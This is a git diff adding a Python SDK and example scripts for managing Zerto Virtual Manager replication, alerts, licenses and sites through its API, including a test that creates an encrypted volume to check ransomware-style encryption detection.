diff --git a/README.md b/README.md index 55fc620..d11124c 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,276 @@ -# zvml-python-sdk -zerto virtual manager linux python library with examples +# zerto-python-library +A Python library for interacting with the Zerto Virtual Manager (ZVM) API. + +## Overview +This library provides a comprehensive Python interface to manage and automate Zerto Virtual Replication operations. It includes functionality for: + +- Managing Virtual Protection Groups (VPGs) +- Handling VM protection and recovery +- Managing checkpoints and recovery points +- Monitoring alerts and events +- Managing licenses +- Configuring service profiles +- Handling encryption detection +- Managing datastores and VRAs +- Working with server date/time settings +- Managing ZORGs (Zerto Organizations) + +## Installation + +git clone https://github.com/your-repo/zerto-python-library.git +cd zerto-python-library +pip install -r requirements.txt + +## Dependencies + +- requests +- urllib3 +- logging +- json +- typing + +## Library Structure + +The library is organized into several modules: + +- `zvml/` - Core library components + - `alerts.py` - Alert management and monitoring + - `checkpoints.py` - Checkpoint operations and management + - `common.py` - Common enums and utilities + - `encryptiondetection.py` - Encryption detection functionality + - `license.py` - License management + - `localsite.py` - Local site operations + - `recovery_reports.py` - Recovery reporting functionality + - `server_date_time.py` - Server time operations + - `service_profiles.py` - Service profile configuration + - `tasks.py` - Task management and monitoring + - `virtualization_sites.py` - Site management operations + - `vpgs.py` - VPG operations and management + - `vras.py` - VRA deployment and management + - `zorgs.py` - ZORG operations + +## Requirements + +- Python 3.6+ +- Zerto Virtual Replication environment +- Network access to ZVM server +- Keycloak authentication credentials + +## Getting Started + +1. Clone the repository +2. Install required dependencies +3. Configure your Zerto environment credentials +4. Run the example scripts to understand basic operations +5. Integrate the library into your automation workflows + +## Authentication + +The library uses Keycloak authentication. You'll need: +- ZVM server address +- Client ID +- Client Secret (* KeyCloak) +- Optional: SSL verification settings + +## KeyCloak +In order to use api client you'll need: +1. Login into ZVML keycloak UI. https://///auth +2. Select zerto realm (Switch from Master to Zerto using left menu drop box) +3. Click on "Clients" using the left menu +4. Click on CreateClient button +5. Fill in client id (will be used for authentication) and client name (logical), click next +6. Enable the following options: "Client authentication", "Authorization", "Standard flow", "Direct access grants", + "Implicit flow", "OAuth 2.0 Device Authorization Grant", click next, click save. +7. Select "Service account roles" tab, click on "Assign Role" button, check mark "admin" (or another role), click on "Assign" button +8. Select "Credentials" tab, copy "Client Secret" +9. Use the combination of the created client id and the client secret for authntication in your code + +## Error Handling + +The library includes comprehensive error handling and logging: +- Input validation +- Error status checking +- Detailed error messages +- Operation status logging + +## Examples + +Each example script demonstrates specific functionality: + +### Alert Management +`alerts_example.py` - Simple alert monitoring and management (list, dismiss, undismiss): + +```bash +python examples/alerts_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +### VPG Management with VMs +`vpg_vms_example.py` - VPG creation and VM management between VPGs: + +```bash +python examples/vpg_vms_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl \ +--vm1 "vm-name-1" \ +--vm2 "vm-name-2" +``` + +### VPG Failover Testing +`vpg_failover_example.py` - Complete VPG lifecycle including failover testing: + +```bash +python examples/vpg_failover_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +### VRA Management +`vras_example.py` - Interactive VRA deployment and management: + +```bash +python examples/vras_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +### ZORG Management +`zorgs_example.py` - ZORG information retrieval and management: + +```bash +python examples/zorgs_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +### License Management +`license_example.py` - License information and management: + +```bash +python examples/license_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +### Events Monitoring +`events_example.py` - Monitor and retrieve Zerto events: + +```bash +python examples/events_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +### Encryption Detection (not operationa yet) +`encryption_detection_example.py` - Manage encryption detection settings: + +```bash +python examples/encryption_detection_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +### Service Profiles +`service_profiles_example.py` - Manage service profiles: + +```bash +python examples/service_profiles_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +### Volumes Management +`volumes_example.py` - Manage protected volumes: + +```bash +python examples/volumes_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +### Server Date and Time example +`server_date_time_example.py` - Manage protected volumes: + +```bash +python examples/server_date_time_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +### Datastore management example +`datastore_example.py` - Manage protected volumes: + +```bash +python examples/datastore_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +### Localsite management +`localsite_example.py` - Manage protected volumes: + +```bash +python examples/localsite_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +```bash +python examples/peersites_example.py \ + --site1_zvm_address \ + --site1_client_id \ + --site1_client_secret \ + --site2_zvm_address \ + --site2_client_id \ + --site2_client_secret \ + --ignore_ssl +``` + +```bash +python examples/tweaks_example.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --ignore_ssl +``` + +Each example includes detailed comments explaining the functionality and demonstrates proper error handling and best practices for using the ZVML SDK. + +## Contributing + +Contributions are welcome! Please feel free to submit a Pull Request. + +## License + +This project includes a legal disclaimer. See the header of each file for details. + +For detailed API documentation and examples, please refer to the individual module files and example scripts. + + \ No newline at end of file diff --git a/__init__.py b/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/examples/alerts_example.py b/examples/alerts_example.py new file mode 100644 index 0000000..6c8b35f --- /dev/null +++ b/examples/alerts_example.py @@ -0,0 +1,106 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + + +""" +Zerto Alert Management Example Script + +This script demonstrates basic alert management using the Zerto Virtual Manager (ZVM) API. +It shows how to list alerts and perform basic alert operations (dismiss/undismiss). + +Key Features: +1. Alert Monitoring: + - List all current alerts + - Display alert details + - Manage alert states (dismiss/undismiss) + +Required Arguments: + --zvm_address: ZVM server address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + --ignore_ssl: Ignore SSL certificate verification (optional) + +Example Usage: + python examples/alerts_example.py \ + --zvm_address "192.168.111.20" \ + --client_id "zerto-api" \ + --client_secret "your-secret-here" \ + --ignore_ssl +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +import json +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def main(): + parser = argparse.ArgumentParser(description="Zerto Alerts Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + logging.basicConfig(level=logging.INFO) + + try: + # Connect to ZVM + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Get current alerts + alerts = client.alerts.get_alerts() + if not alerts: + logging.info("No alerts found in the system") + return + + # Display alerts + logging.info(f"Found {len(alerts)} alerts:") + for alert in alerts: + logging.info(f"\nAlert Details:") + logging.info(f" Description: {alert.get('Description')}") + logging.info(f" Status: {alert.get('Status')}") + logging.info(f" Level: {alert.get('Level')}") + logging.info(f" Turn off Time: {alert.get('TurnedOffTime')}") + logging.info(f" Entity: {alert.get('Entity')}") + logging.info(f" Help Identifier: {alert.get('HelpIdentifier')}") + + # Get alert identifier + alert_id = alert.get('Link', {}).get('identifier') + if alert_id: + # Dismiss alert + input(f"\nPress Enter to dismiss alert {alert_id}...") + client.alerts.dismiss_alert(alert_identifier=alert_id) + logging.info(f"Alert {alert_id} dismissed") + + # Undismiss alert + input(f"Press Enter to undismiss alert {alert_id}...") + client.alerts.undismiss_alert(alert_identifier=alert_id) + logging.info(f"Alert {alert_id} undismissed") + + except Exception as e: + logging.exception("Error:") + logging.error(f"Error: {e}") + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/datastore_example.py b/examples/datastore_example.py new file mode 100644 index 0000000..6d1c683 --- /dev/null +++ b/examples/datastore_example.py @@ -0,0 +1,100 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Datastores Example Script + +This script demonstrates how to retrieve and list datastores from a Zerto environment. + +The script performs the following steps: +1. Connects to Zerto Virtual Manager (ZVM) +2. Gets the local site identifier +3. Lists all datastores in the site +4. Gets detailed information about a specific datastore + +Required Arguments: + --zvm_address: ZVM address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + +Optional Arguments: + --ignore_ssl: Ignore SSL certificate verification + +Example Usage: + python examples/datastore_example.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --ignore_ssl +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +import json +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def main(): + parser = argparse.ArgumentParser(description="Zerto Datastores Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Connect to ZVM + logging.info(f"Connecting to ZVM at {args.zvm_address}") + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Get local site identifier + local_site = client.localsite.get_local_site() + site_identifier = local_site.get('SiteIdentifier') + logging.info(f"Local site identifier: {site_identifier}") + + # Get datastores using VirtualizationSites API + datastores = client.virtualization_sites.get_virtualization_site_datastores(site_identifier) + logging.info("\nDatastores in site:") + logging.info(json.dumps(datastores, indent=2)) + + # Get specific datastore details if any exist + if datastores: + first_ds_id = datastores[0].get('DatastoreIdentifier') + logging.info(f"\nGetting details for specific datastore: {first_ds_id}") + + ds_details = client.datastores.list_datastores(first_ds_id) + logging.info("Datastore details:") + logging.info(json.dumps(ds_details, indent=2)) + + except Exception as e: + logging.error(f"Error occurred: {e}") + raise + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/encryption_detection_example.py b/examples/encryption_detection_example.py new file mode 100644 index 0000000..802b8fd --- /dev/null +++ b/examples/encryption_detection_example.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python3 + +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. + +import argparse +import sys +import os +import time +import paramiko +import logging +import urllib3 +from zvml.client import Client +from zvml.encryptiondetection import EncryptionDetection + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def setup_client(args): + """Initialize and return Zerto client""" + client = Client( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + return client + +def setup_encrypted_volume(ssh_host: str, ssh_user: str, ssh_password: str): + """Create and encrypt a volume on the Linux VM.""" + try: + # Connect to the Linux VM + ssh = paramiko.SSHClient() + ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + ssh.connect(ssh_host, username=ssh_user, password=ssh_password) + logging.info(f"Successfully connected to {ssh_host}") + + # Create a test file system + commands = [ + "sudo dd if=/dev/zero of=/root/container.img bs=1M count=100", # Create 100MB file + "sudo losetup /dev/loop0 /root/container.img", # Set up loop device + "sudo cryptsetup -y luksFormat /dev/loop0", # Encrypt with LUKS + "echo 'YES' | sudo cryptsetup luksOpen /dev/loop0 encrypted_volume", # Open encrypted volume + "sudo mkfs.ext4 /dev/mapper/encrypted_volume", # Create filesystem + "sudo mkdir -p /mnt/encrypted", # Create mount point + "sudo mount /dev/mapper/encrypted_volume /mnt/encrypted", # Mount encrypted volume + "sudo dd if=/dev/urandom of=/mnt/encrypted/testfile bs=1M count=50" # Create test file with random data + ] + + for cmd in commands: + logging.info(f"Executing: {cmd}") + stdin, stdout, stderr = ssh.exec_command(cmd) + exit_status = stdout.channel.recv_exit_status() + if exit_status != 0: + error = stderr.read().decode() + logging.error(f"Command failed with status {exit_status}: {error}") + raise Exception(f"Command failed: {cmd}") + + logging.info("Successfully created and encrypted test volume") + + except Exception as e: + logging.error(f"Failed to setup encrypted volume: {str(e)}") + raise + finally: + ssh.close() + +def main(): + parser = argparse.ArgumentParser(description="Encryption Detection Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + parser.add_argument("--vm_address", required=True, help="Linux VM address") + parser.add_argument("--vm_user", required=True, help="Linux VM username") + parser.add_argument("--vm_password", required=True, help="Linux VM password") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Setup client + client = setup_client(args) + encryption_detection = EncryptionDetection(client) + logging.info("Successfully connected to ZVM") + + # Setup encrypted volume on Linux VM + setup_encrypted_volume(args.vm_address, args.vm_user, args.vm_password) + + # Wait for encryption detection to process + logging.info("Waiting for encryption detection to process (30 seconds)...") + time.sleep(30) + + # Check for suspected encrypted volumes + detections = encryption_detection.list_suspected_volumes() + + if detections: + logging.info("Suspected encrypted volumes detected:") + for detection in detections: + logging.info(f"Volume: {detection.get('VolumeName', 'Unknown')}") + logging.info(f"Detection Type: {detection.get('DetectionType', 'Unknown')}") + logging.info(f"Confidence Level: {detection.get('ConfidenceLevel', 'Unknown')}") + logging.info("---") + else: + logging.info("No suspected encrypted volumes detected") + + except Exception as e: + logging.exception("Error occurred:") + sys.exit(1) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/events_example.py b/examples/events_example.py new file mode 100644 index 0000000..b1ea3ed --- /dev/null +++ b/examples/events_example.py @@ -0,0 +1,136 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Events Example Script + +This script demonstrates how to retrieve and manage events in a Zerto environment. + +The script performs the following steps: +1. Connects to Zerto Virtual Manager (ZVM) +2. Lists available event types +3. Lists available event entities +4. Lists available event categories +5. Retrieves events from the last hour +6. Demonstrates filtered event queries +7. Gets detailed information about specific events + +Required Arguments: + --zvm_address: ZVM address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + +Optional Arguments: + --ignore_ssl: Ignore SSL certificate verification + +Example Usage: + python examples/events_example.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --ignore_ssl +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +import json +from zvml import ZVMLClient +from datetime import datetime, timedelta + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def main(): + parser = argparse.ArgumentParser(description="Zerto Events Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Connect to ZVM + logging.info(f"Connecting to ZVM at {args.zvm_address}") + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Get event types + logging.info("\nFetching event types...") + event_types = client.events.list_event_types() + logging.info(f"Found {len(event_types)} event types:") + logging.info(json.dumps(event_types[:3], indent=2)) # Show first 3 for brevity + + # Get event entities + logging.info("\nFetching event entities...") + event_entities = client.events.list_event_entities() + logging.info(f"Found {len(event_entities)} event entities:") + logging.info(json.dumps(event_entities[:3], indent=2)) # Show first 3 for brevity + + # Get event categories + logging.info("\nFetching event categories...") + event_categories = client.events.list_event_categories() + logging.info(f"Found {len(event_categories)} event categories:") + logging.info(json.dumps(event_categories[:3], indent=2)) # Show first 3 for brevity + + # Get events from the last 1 hour + start_date = (datetime.utcnow() - timedelta(hours=1)).isoformat() + 'Z' + end_date = datetime.utcnow().isoformat() + 'Z' + + logging.info(f"\nFetching events from {start_date} to {end_date}...") + events = client.events.list_events( + start_date=start_date, + end_date=end_date + ) + logging.info(f"Found {len(events)} events in the last 24 hours:") + if events: + logging.info(json.dumps(events[:3], indent=2)) # Show first 3 for brevity + + # Get events with filters + logging.info("\nFetching filtered events...") + filtered_events = client.events.list_events( + start_date=start_date, + end_date=end_date, + event_type=18, # Using numeric event type + category="Events" # Using correct category from list_event_categories + ) + logging.info(f"Found {len(filtered_events)} filtered events:") + if filtered_events: + logging.info(json.dumps(filtered_events[:3], indent=2)) # Show first 3 for brevity + + # If we have any events, get details for a specific event + if events: + event_id = events[0].get('EventIdentifier') + logging.info(f"\nFetching details for event {event_id}...") + event_details = client.events.list_events(event_identifier=event_id) + logging.info("Event details:") + logging.info(json.dumps(event_details, indent=2)) + + except Exception as e: + logging.error(f"Error occurred: {e}") + raise + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/license_example.py b/examples/license_example.py new file mode 100644 index 0000000..e359aa5 --- /dev/null +++ b/examples/license_example.py @@ -0,0 +1,127 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto License Management Example Script + +This script demonstrates how to manage Zerto licenses through the API. + +The script performs the following steps: +1. Connects to Zerto Virtual Manager (ZVM) +2. Retrieves current license information +3. Updates the license if a new key is provided +4. Verifies the updated license details +5. Optionally can delete the license (commented out for safety) + +Required Arguments: + --zvm_address: ZVM address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + +Optional Arguments: + --license_key: License key to add/update + --ignore_ssl: Ignore SSL certificate verification + +Example Usage: + python examples/license_example.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --license_key \ + --ignore_ssl +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +import json +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def main(): + parser = argparse.ArgumentParser(description="Zerto License Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--license_key", help="License key to add/update") + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Connect to ZVM + logging.info(f"Connecting to ZVM at {args.zvm_address}") + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Get current license information + logging.info("\nFetching current license information...") + license_info = client.license.get_license() + if license_info: + logging.info("Current license details:") + logging.info(json.dumps(license_info, indent=2)) + else: + logging.info("No license currently installed") + + # If license key is provided, update the license + if args.license_key: + logging.info(f"\nUpdating license with new key...") + update_result = client.license.put_license(args.license_key) + if update_result: + logging.info("License update result:") + logging.info(json.dumps(update_result, indent=2)) + else: + logging.info("License updated successfully (no content returned)") + + # Get updated license information + logging.info("\nFetching updated license information...") + updated_license = client.license.get_license() + if updated_license: + logging.info("Updated license details:") + logging.info(json.dumps(updated_license, indent=2)) + + # Delete license (commented out for safety - uncomment if needed) + """ + logging.info("\nDeleting license...") + delete_result = client.license.delete_license() + if delete_result: + logging.info("License deletion result:") + logging.info(json.dumps(delete_result, indent=2)) + else: + logging.info("License deleted successfully (no content returned)") + + # Verify license is deleted + final_check = client.license.get_license() + if not final_check: + logging.info("License successfully removed") + """ + + except Exception as e: + logging.error(f"Error occurred: {e}") + raise + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/localsite_example.py b/examples/localsite_example.py new file mode 100644 index 0000000..a1fe9d1 --- /dev/null +++ b/examples/localsite_example.py @@ -0,0 +1,138 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Local Site Management Example Script + +This script demonstrates how to manage and retrieve information about the local Zerto site. + +The script performs the following steps: +1. Connects to Zerto Virtual Manager (ZVM) +2. Retrieves local site information +3. Gets site pairing statuses +4. Sends usage data to Zerto +5. Manages login banner settings: + - Gets current banner configuration + - Sets a new test banner + - Verifies the updated settings + - Disables the banner + +Required Arguments: + --zvm_address: ZVM address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + +Optional Arguments: + --ignore_ssl: Ignore SSL certificate verification + +Example Usage: + python examples/localsite_example.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --ignore_ssl +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +import json +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def main(): + parser = argparse.ArgumentParser(description="Zerto Local Site Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Connect to ZVM + logging.info(f"Connecting to ZVM at {args.zvm_address}") + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Get local site information + logging.info("\nFetching local site information...") + local_site = client.localsite.get_local_site() + logging.info("Local site details:") + logging.info(json.dumps(local_site, indent=2)) + + # Get pairing statuses + logging.info("\nFetching pairing statuses...") + pairing_statuses = client.localsite.get_pairing_statuses() + logging.info("Pairing statuses:") + logging.info(json.dumps(pairing_statuses, indent=2)) + + # Send usage data + logging.info("\nSending usage data...") + usage_result = client.localsite.send_usage() + if usage_result: + logging.info("Usage data result:") + logging.info(json.dumps(usage_result, indent=2)) + else: + logging.info("Usage data sent successfully (no content returned)") + + # Get current login banner settings + logging.info("\nFetching current login banner settings...") + current_banner = client.localsite.get_login_banner() + logging.info("Current login banner settings:") + logging.info(json.dumps(current_banner, indent=2)) + + # Set new login banner + test_banner = "This is a test login banner.\nAccess restricted to authorized users only." + logging.info("\nSetting new login banner...") + banner_result = client.localsite.set_login_banner( + is_enabled=True, + banner_text=test_banner + ) + logging.info("Login banner update result:") + logging.info(banner_result) + + # Verify the new banner settings + logging.info("\nVerifying updated login banner settings...") + updated_banner = client.localsite.get_login_banner() + logging.info("Updated login banner settings:") + logging.info(json.dumps(updated_banner, indent=2)) + + # Disable the login banner + logging.info("\nDisabling login banner...") + disable_result = client.localsite.set_login_banner( + is_enabled=False, + banner_text="" + ) + logging.info("Login banner disable result:") + logging.info(disable_result) + + except Exception as e: + logging.error(f"Error occurred: {e}") + raise + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/peersites_example.py b/examples/peersites_example.py new file mode 100644 index 0000000..8fa1c91 --- /dev/null +++ b/examples/peersites_example.py @@ -0,0 +1,147 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Peer Sites Management Example Script + +This script demonstrates how to manage peer site relationships between Zerto Virtual Managers (ZVMs). + +The script performs the following steps: +1. Connects to two Zerto Virtual Managers (ZVMs) +2. Lists existing peer sites from site 1 +3. Checks for and removes any existing pairing with site 2 +4. Generates a pairing token at site 2 +5. Pairs site 1 with site 2 using the token +6. Verifies the pairing by checking the updated peer sites list + +Required Arguments: + --site1_zvm_address: Site 1 ZVM address + --site1_client_id: Site 1 Keycloak client ID + --site1_client_secret: Site 1 Keycloak client secret + --site2_zvm_address: Site 2 ZVM address + --site2_client_id: Site 2 Keycloak client ID + --site2_client_secret: Site 2 Keycloak client secret + +Optional Arguments: + --ignore_ssl: Ignore SSL certificate verification + +Example Usage: + python examples/peersites_example.py \ + --site1_zvm_address \ + --site1_client_id \ + --site1_client_secret \ + --site2_zvm_address \ + --site2_client_id \ + --site2_client_secret \ + --ignore_ssl +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +import json +import time +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def main(): + parser = argparse.ArgumentParser(description="Zerto Peer Sites Example") + parser.add_argument("--site1_zvm_address", required=True, help="site 1 ZVM address") + parser.add_argument('--site1_client_id', required=True, help='site 1 Keycloak client ID') + parser.add_argument('--site1_client_secret', required=True, help='site 1 Keycloak client secret') + parser.add_argument("--site2_zvm_address", required=True, help="site 2 ZVM address") + parser.add_argument('--site2_client_id', required=True, help='site 2 Keycloak client ID') + parser.add_argument('--site2_client_secret', required=True, help='site 2 Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Initialize the site 1 client + site1_client = ZVMLClient( + zvm_address=args.site1_zvm_address, + client_id=args.site1_client_id, + client_secret=args.site1_client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Initialize the site 2 client + site2_client = ZVMLClient( + zvm_address=args.site2_zvm_address, + client_id=args.site2_client_id, + client_secret=args.site2_client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Example 1: Get all peer sites from site 1 + logging.info("\nExample 1: Getting all peer sites from site 1") + peer_sites = site1_client.peersites.get_peer_sites() + logging.info(f"Found 